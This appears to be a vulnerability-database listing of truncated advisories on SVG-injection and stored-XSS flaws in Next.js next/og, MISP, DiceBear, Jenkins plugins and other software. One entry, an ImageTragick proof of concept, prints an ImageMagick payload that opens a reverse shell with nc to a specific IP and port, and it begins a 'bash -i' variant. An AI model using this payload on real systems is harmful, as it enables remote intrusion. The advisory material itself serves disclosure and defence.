CVE-2026-94545

CVE-2026-94545 Next.js next/og Unauthenticated RCE ★ CVE-2026-94545 Next.js next/og SVG injection to native RCE ★ https://github.com/user-attachments/assets/e297b40b-36ad-4a9a-b0c1-a64429bc0160 Overview next/og builds Open Graph images by rendering JSX to an SVG with Satori and then rasterizing...

ImageTragick_Poc

ImageTragick POCs RCEPOC push graphic-context viewbox 0 0 640 480 fill 'urlhttps://example.com/image.jpg"|mknod /tmp/backpipe p && nc 121.42.56.8 8989 0/tmp/backpipe"' pop graphic-context push graphic-context viewbox 0 0 640 480 fill 'urlhttps://example.com/image.jpg"|bash -i &...

CVE-2023-43838

CVE-2023-43838 An arbitrary file upload vulnerability in Personal Management System v1.4.64 allows attackers to execute arbitrary code via uploading a crafted SVG file into a user profile's avatar. Additional Information 1. Create alert.svg with the following content: alert"huntr.dev"; 2. Host .S...

Next.js Framework 16.2.x / 16.3.x < 16.3.6 RCE

The Next.js Framework on the remote host is affected by a remote code execution vulnerability: - The Node.js ImageResponse implementation from next/og is affected by an upstream Satori vulnerability. Satori does not properly escape certain values before including them in generated SVG output, whi...

CVE-2026-94545-nextjs-og-poc

CVE-2026-94545 - Next.js next/og ImageResponse SVG Injection GHSA-vcvr-r3jv-pc5j Security-research material for reproducing and validating CVE-2026-94545 , the Next.js ImageResponse SVG-serialization injection upstream: Satori GHSA-wx4j-mvgx-mqwp, in an isolated, loopback-only lab. Affected:...

Exploit for CVE-2026-94545

CVE-2026-94545 - Next.js next/og ImageResponse SVG Injection...

CVE-2026-86062

LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.5, lightragwebui/src/components/retrieval/ChatMessage.tsx renders answer and thinking content with react-markdown, rehypeRaw, and skipHtml=false without an HTML sanitizer. An attacker who can add a document can store r...

PT-2026-97045

Name of the Vulnerable Software and Affected Versions Next.js versions 16.2.0 through 16.3.5 Description A flaw in the Node.js implementation of the ImageResponse component within the next/og package occurs due to improper encoding or escaping of output data. This issue arises when...

CVE-2026-59814: Improper Neutralization of Input During Web Page Generation

Joplin is an open source note-taking and to-do application that organises notes and lists into notebooks. Prior to 3.7.7, Joplin Server's GET /shares/:id?resourceid= route serves a resource with the attacker-controlled mime value and omits Content-Disposition when the resource title is empty. A...

CVE-2026-90957 MISP: Stored XSS via Inline-Served SVG Organisation Logos and Report Pictures

Affected versions of MISP serve uploaded SVG images inline without a restrictive browser sandbox. The commit explains that SVG files are XML documents rather than passive bitmap images. While scripts inside SVG do not execute when the SVG is rendered through a normal , they can execute when the S...

CVE-2026-90957

MISP versions ≤2.5.45 are affected by a stored XSS vulnerability in the serve path for uploaded SVG images , which are delivered inline without a restrictive browser sandbox. Because SVGs are XML documents rather than passive bitmaps, embedded [removed] elements, event handlers, or javascript: UR...

CVE-2026-90957 MISP: Stored XSS via Inline-Served SVG Organisation Logos and Report Pictures

Affected versions of MISP serve uploaded SVG images inline without a restrictive browser sandbox. The commit explains that SVG files are XML documents rather than passive bitmap images. While scripts inside SVG do not execute when the SVG is rendered through a normal , they can execute when the S...

Astra Linux – Vulnerability in Sogo

There is a cross-site scripting XSS vulnerability in Alinto SOGo, version 5.12.7. A maliciously crafted ICS calendar invitation file allows arbitrary JavaScript execution within the authenticated SOGo webmail session. The issue arises because the SVG content embedded in the description field of a...

PT-2026-91217

Affected versions of MISP serve uploaded SVG images inline without a restrictive browser sandbox. The commit explains that SVG files are XML documents rather than passive bitmap images. While scripts inside SVG do not execute when the SVG is rendered through a normal , they can execute when the S...

PT-2026-85509

OpenPanel before 2.3.0 contains a cross-site scripting vulnerability in the unauthenticated favicon proxy endpoint GET /misc/favicon that allows remote attackers to execute scripts by supplying an SVG file URL. Attackers can host malicious SVG files with embedded scripts that execute in the...

GHSA-GCR2-9V8M-GQ45 DiceBear: SVG injection via the unescaped rotate option in @dicebear/core (and fontSize/fontWeight in @dicebear/initials)

Summary @dicebear/core builds avatar SVGs from caller-supplied options. The numeric rotate option is interpolated into an SVG transform attribute without XML-escaping. It is typed as a number, but nothing checks the type at runtime, so a string value passes straight through and can break out of t...

EUVD-2026-63657

DiceBear: SVG injection via the unescaped rotate option in @dicebear/core and fontSize/fontWeight in @dicebear/initials...

DiceBear: SVG injection via the unescaped rotate option in @dicebear/core (and fontSize/fontWeight in @dicebear/initials)

Summary @dicebear/core builds avatar SVGs from caller-supplied options. The numeric rotate option is interpolated into an SVG transform attribute without XML-escaping. It is typed as a number, but nothing checks the type at runtime, so a string value passes straight through and can break out of t...

EUVD-2026-70146

Jenkins Customizable Header Plugin 295.v2544bca19b97 and earlier allows overwriting the plugin's appearance configuration through Stapler data binding, allowing attackers to configure a custom SVG icon containing inline JavaScript, resulting in a stored cross-site scripting XSS vulnerability...

CVE-2026-84673

Jenkins Customizable Header Plugin 295.v2544bca19b97 and earlier allows overwriting the plugin's appearance configuration through Stapler data binding, allowing attackers to configure a custom SVG icon containing inline JavaScript, resulting in a stored cross-site scripting XSS vulnerability...